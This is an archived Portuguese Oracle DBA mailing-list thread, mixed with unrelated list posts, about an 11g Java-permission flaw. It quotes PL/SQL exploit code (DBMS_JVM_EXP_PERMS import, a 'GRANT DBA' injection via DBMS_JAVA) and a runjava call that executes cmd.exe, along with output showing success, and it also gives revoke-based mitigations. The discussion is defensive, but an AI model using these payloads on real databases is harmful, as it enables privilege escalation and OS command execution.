Re: [oracle_br] Falha de segurança do 11g
Bom, a informação de que A Oracle não tem patch…nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; Este código NÃO funciona com usuário comum (grant create session) em uma base 11.2.0.2, conforme demonstrado: SQL create user ivan1 identified by ivan1; User created. SQL grant create session to ivan1; Grant succeeded. SQL conn ivan1/ivan1 Connected. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; * ERROR at line 2: ORA-06550: line 2, column 7: PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared ORA-06550: line 2, column 7: PL/SQL: Item ignored ORA-06550: line 6, column 30: PLS-00320: the declaration of the type of this expression is incomplete or malformed ORA-06550: line 6, column 3: PL/SQL: SQL Statement ignored ORA-06550: line 8, column 39: PLS-00320: the declaration of the type of this expression is incomplete or malformed ORA-06550: line 8, column 3: PL/SQL: Statement ignored A outra vulnerabilidade descrita no documento, para dar grant de DBA ao usuário, também não funcionou: SQL SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS', 'writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO GREMLIN''; END;', 'BEGIN NULL; END;') FROM DUAL; DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','ORACLE/AURORA/RDBMS/DBMSJAVA','SYS','WRITEOUTPUTTOFILE','TEXT',NULL,NULL,NULL,NULL,0,1,1,1,1,0,'DECLAREPRAGMAAUTONOMOUS_TRANSACTION;BEGINEXECUTEIMMEDIATE''GRANTDBAT SQL EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE()); BEGIN DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE()); END; * ERROR at line 1: ORA-31425: subscription does not exist ORA-06512: at SYS.DBMS_CDC_ISUBSCRIBE, line 59 ORA-06512: at line 1 SQL set role dba; set role dba * ERROR at line 1: ORA-01924: role 'DBA' not granted or does not exist Não tenho base 11gR1 nem 11.2.0.1 para testar, alguem pode testar e postar o resultado? 2011/5/2 Neto Longhi neto.lon...@gmail.com: Pessoal, achei uma materia no blog do Alessandro Guimarães, sobre Falha de segurança do 11g. Não sabia disso e achei interessante postar aqui. tai o link http://aguimaraes.wordpress.com/ David Litchfield, achou vulnerabilidades de segurança no Oracle 11g, embora os testes que eles fez tenham sido na versão 11gR2, a falha também acontece no Oracle 11gR1. O problema acontece devido a privilégios super generosos para as procedures java, permitindo que um usuario com apenas privilegio de create sesssion, possa se tornar um DBA, tendo assim total controle do banco. Alem disso, este mesmo usuario pode, com um simples select executar comandos do sistema operacional, como por exemplo gerar um arquivo.txt. Em casa fiz um teste e consegui t criar um usuario no sistema operacional e torna-lo membro do grupo administrator do windows. Terrivel não. ? A Oracle não tem patch…nem se pronuciou quanto a falha. No entanto você pode fazer sua parte. Basta fazer o revoke do PUBLIC das seguintes packages: *revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public;* -- Att, José Longhi Laurindo Neto Bacharel em Ciência da Computação. DBA Oracle Jr. Tel: (91) 81970312 E-mail: neto.lon...@gmail.com [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas »
RES: [oracle_br] Falha de segurança do 11g
Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Bom, a informação de que A Oracle não tem patch nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; Este código NÃO funciona com usuário comum (grant create session) em uma base 11.2.0.2, conforme demonstrado: SQL create user ivan1 identified by ivan1; User created. SQL grant create session to ivan1; Grant succeeded. SQL conn ivan1/ivan1 Connected. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; * ERROR at line 2: ORA-06550: line 2, column 7: PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be
[oracle_br] OPORTUNIDADE TELSIGN - ANALISTA DE BANCO DE DADOS - RIO DE JANEIRO
[As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] Falha de segurança do 11g
Isso foi corrigido na 11.2.X... Raul Em 3 de maio de 2011 11:19, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Bom, a informação de que A Oracle não tem patch nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; Este código NÃO funciona com usuário comum (grant create session) em uma base 11.2.0.2, conforme demonstrado: SQL create user ivan1 identified by ivan1; User created. SQL grant create session to ivan1; Grant succeeded. SQL conn ivan1/ivan1 Connected. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; * ERROR at line 2: ORA-06550: line 2, column 7: PLS-00201: identifier 'DBMS_JVM_EXP_PERMS'
[oracle_br] Grid Control...
Pessoal, bom dia! Vou separar alguns bancos da minha instância, os bancos tem particulariedades diferentes e as vezes impacta algo em um banco que não posso mexer por causa de outro. Hoje acompanhamento o desempenho do banco pelas views do oracle e pelo SO, as vezes utiizo o EM para verificar algo rápido e também pra mostrar para a chefia como o banco está, com os gráficos fica mais fácil a visualização para eles. Como estarei separando os bancos, pensei em utilizar o Grid Control que me possibilidade colocar várias instâncias. Se não me engano o GRid Control é pago, essa informação é correta? Li algumas coisas que diz que é pago, outras que diz que pode ser usado, mas não com restrições. Obrigado, Márcio. [As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] Falha de segurança do 11g
Nossa que furo. Vlw pela explicação Alessandro. Pra ajeitar essa falha é só executar: revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public; ? Em 3 de maio de 2011 11:19, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Bom, a informação de que A Oracle não tem patch nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; Este código NÃO funciona com usuário comum (grant create session) em uma base 11.2.0.2, conforme demonstrado: SQL create user ivan1 identified by ivan1; User created. SQL grant create session to ivan1; Grant succeeded. SQL conn ivan1/ivan1 Connected. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8
[oracle_br] enq: TX - row lock contention
Olá pessoal tudo bem? Estou com um probleminha aqui na empresa. Temos um ambiente RAC com 4 nodes... Eu tenho 12 Jobs que rodam uns no node1, outros no node2 e assim por diante. Estes Jobs fazem insert em uma tabelas, e no oracle está acusando enq: TX - row lock contention e sequence. Alguem pode me ajudar com material para estudar o porque isso ocorre? Achei algumas coisas na net.. mas meio confuso. Uns falam uma coisa outros outra. Mas não mostram como identificar o problema, os scripts de lock’s normais que tenho não aparece nada. Pesquisei no livro de OWI que tenho, também não achei muita informação sobre. se alguem tiver como me ajudar agradeço.. Oracle 10.2.0.4 – EE RAC em Linux RedHAT 4. Att, Welvis Douglas da Silva Moretto OCP DBA 10g - OCE Sql Fone: (41) 9997-6297 E-mail:welvis_doug...@hotmail.com, welvis.m...@terceiros.stcruz.com.br
RES: [oracle_br] Falha de segurança do 11g
Neto, Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os revoke. Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia remove-la tbm Se for necessário Java você pode criar uma role para as packages e conceder privilegio de execute para esta role. De qualquer forma qualquer caminho acima tem que avaliar todos os riscos/efeitos colaterais. Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Neto Longhi Enviada em: terça-feira, 3 de maio de 2011 11:54 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Nossa que furo. Vlw pela explicação Alessandro. Pra ajeitar essa falha é só executar: revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public; ? Em 3 de maio de 2011 11:19, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Bom, a informação de que A Oracle não tem patch nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT
Re: [oracle_br] Falha de segurança do 11g
OK Alessandro, vou estudar as minhas opçoes. Obrigado Em 3 de maio de 2011 12:23, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto, Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os revoke. Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia remove-la tbm Se for necessário Java você pode criar uma role para as packages e conceder privilegio de execute para esta role. De qualquer forma qualquer caminho acima tem que avaliar todos os riscos/efeitos colaterais. Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Neto Longhi Enviada em: terça-feira, 3 de maio de 2011 11:54 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Nossa que furo. Vlw pela explicação Alessandro. Pra ajeitar essa falha é só executar: revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public; ? Em 3 de maio de 2011 11:19, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do
Re: [oracle_br] Falha de segurança do 11g
